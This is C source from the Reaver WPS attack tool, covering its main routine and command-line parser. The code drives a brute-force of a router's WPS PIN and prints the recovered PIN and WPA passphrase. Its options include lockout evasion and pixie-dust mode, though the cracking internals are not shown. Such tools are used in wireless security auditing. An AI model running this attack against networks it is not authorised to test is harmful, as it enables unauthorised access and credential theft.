int reaver_main(int argc, char **argv)
{
	int ret_val = EXIT_FAILURE, r = 0;
	time_t start_time = 0, end_time = 0;
	struct wps_data *wps = NULL;

	globule_init();
	init_default_settings();

	fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", get_version());
	fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <*****@*****.**>\n\n");

	if(argc < 2)
	{
		ret_val = reaver_usage(argv[0]);
		goto end;
	}

	/* Process the command line arguments */
	if(process_arguments(argc, argv) == EXIT_FAILURE)
	{
		ret_val = reaver_usage(argv[0]);
		goto end;
	}

	/* Double check reaver_usage */
	if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0))
	{
		reaver_usage(argv[0]);
		goto end;
	}

	/* If no MAC address was provided, get it ourselves */
	if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0)
	{
		if(!read_iface_mac())
		{
			fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface());
			goto end;
		}
	}

	/* Sanity checking on the message timeout value */	
	if(get_m57_timeout() > M57_MAX_TIMEOUT) 
	{
		set_m57_timeout(M57_MAX_TIMEOUT);
	}
	else if(get_m57_timeout() <= 0)
	{
		set_m57_timeout(M57_DEFAULT_TIMEOUT);
	}

	/* Sanity checking on the receive timeout value */
	if(get_rx_timeout() <= 0)
	{
		set_rx_timeout(DEFAULT_TIMEOUT);
	}

	/* Initialize signal handlers */
	sigint_init();
	sigalrm_init();

	/* Mark the start time */
	start_time = time(NULL);

	/* Do it. */
	crack();

	/* Mark the end time */
	end_time = time(NULL);

	/* Check our key status */
	if(get_key_status() == KEY_DONE)
	{
		wps = get_wps();

		cprintf(VERBOSE,  		    "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time));
		cprintf(CRITICAL, 		    "[+] WPS PIN: '%s'\n", get_pin());
		if(wps->key)      cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key);
		if(wps->essid)    cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid);

		/* Run user-supplied command */
		if(get_exec_string())
		{
			r = system(get_exec_string());
		}

		ret_val = EXIT_SUCCESS;
	}
	else 
	{
		cprintf(CRITICAL, "[-] Failed to recover WPA key\n");
	}
	
	save_session();

end:
	globule_deinit();
	return ret_val;
}
/* Processes Reaver command line options */
int process_arguments(int argc, char **argv)
{
	int ret_val = EXIT_SUCCESS;
	int c = 0, channel = 0;
	int long_opt_index = 0;
	char bssid[MAC_ADDR_LEN] = { 0 };
	char mac[MAC_ADDR_LEN] = { 0 };
	char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:o:p:s:C:KZA5ELfnqvDShwN6J";
	struct option long_options[] = {
		{ "pixie-dust", no_argument, NULL, 'K' },
		{ "interface", required_argument, NULL, 'i' },
		{ "bssid", required_argument, NULL, 'b' },
		{ "essid", required_argument, NULL, 'e' },
		{ "mac", required_argument, NULL, 'm' },
		{ "timeout", required_argument, NULL, 't' },
		{ "m57-timeout", required_argument, NULL, 'T' },
		{ "delay", required_argument, NULL, 'd' },
		{ "lock-delay", required_argument, NULL, 'l' },
		{ "fail-wait", required_argument, NULL, 'x' },
		{ "channel", required_argument, NULL, 'c' },
		{ "session", required_argument, NULL, 's' },
		{ "recurring-delay", required_argument, NULL, 'r' },
		{ "max-attempts", required_argument, NULL, 'g' },
		{ "out-file", required_argument, NULL, 'o' },
		{ "pin", required_argument, NULL, 'p' },
		{ "exec", required_argument, NULL, 'C' },
		{ "no-associate", no_argument, NULL, 'A' },
		{ "ignore-locks", no_argument, NULL, 'L' },
		{ "no-nacks", no_argument, NULL, 'N' },
		{ "eap-terminate", no_argument, NULL, 'E' },
		{ "dh-small", no_argument, NULL, 'S' },
		{ "fixed", no_argument, NULL, 'f' },
		{ "daemonize", no_argument, NULL, 'D' },
		{ "5ghz", no_argument, NULL, '5' },
		{ "repeat-m6", no_argument, NULL, '6' },
		{ "nack", no_argument, NULL, 'n' },
		{ "quiet", no_argument, NULL, 'q' },
		{ "verbose", no_argument, NULL, 'v' },
		{ "win7", no_argument, NULL, 'w' },
		{ "help", no_argument, NULL, 'h' },
		{ "timeout-is-nack", no_argument, NULL, 'J' },
		{ 0, 0, 0, 0 }
	};

	/* Since this function may be called multiple times, be sure to set opt index to 0 each time */
	optind = 0;

	while((c = getopt_long(argc, argv, short_options, long_options, &long_opt_index)) != -1)
        {
                switch(c)
                {
                        case 'Z':
                        case 'K':
                                pixie.do_pixie = 1;
                                break;
                        case 'i':
                                set_iface(optarg);
                                break;
                        case 'b':
                                str2mac(optarg, (unsigned char *) &bssid);
                                set_bssid((unsigned char *) &bssid);
                                break;
                        case 'e':
                                set_ssid(optarg);
                                break;
                        case 'm':
                                str2mac(optarg, (unsigned char *) &mac);
                                set_mac((unsigned char *) &mac);
                                break;
                        case 't':
                                set_rx_timeout(atoi(optarg));
                                break;
                        case 'T':
                                set_m57_timeout(strtof(optarg, NULL) * SEC_TO_US);
                                break;
                        case 'c':
				channel = strtod(optarg, NULL);
                                set_fixed_channel(1);
                                break;
                        case '5':
                                set_wifi_band(AN_BAND);
                                break;
                        case '6':
                                set_repeat_m6(1);
                                break;
                        case 'd':
                                set_delay(atoi(optarg));
                                break;
                        case 'l':
                                set_lock_delay(atoi(optarg));
                                break;
			case 'p':
				parse_static_pin(optarg);
				break;
			case 's':       
				set_session(optarg);   
				break;
			case 'C':
				set_exec_string(optarg);
				break;
			case 'A':
				set_external_association(1);
				break;
                        case 'L':
                                set_ignore_locks(1);
                                break;
			case 'o':
				set_log_file(fopen(optarg, "w"));
				break;
                        case 'x':
                                set_fail_delay(atoi(optarg));
                                break;
                        case 'r':
                                parse_recurring_delay(optarg);
                                break;
                        case 'g':
                                set_max_pin_attempts(atoi(optarg));
                                break;
                        case 'D':
				daemonize();
				break;
			case 'E':
                                set_eap_terminate(1);
                                break;
			case 'S':
				set_dh_small(1);
				break;
                        case 'n':
				cprintf(INFO, "[+] ignoring obsolete -n switch\n");
				break;
			case 'J':
                                set_timeout_is_nack(1);
                                break;
                        case 'f':
                                set_fixed_channel(1);
                                break;
                        case 'v':
                                set_debug(get_debug() + 1);
                                break;
                        case 'q':
                                set_debug(CRITICAL);
                                break;
			case 'w':
				set_win7_compat(1);
				break;
			case 'N':
				set_oo_send_nack(0);
				break;
                        default:
                                ret_val = EXIT_FAILURE;
                }
        }

	if(channel)
	{
		change_channel(channel);
	}

	return ret_val;
}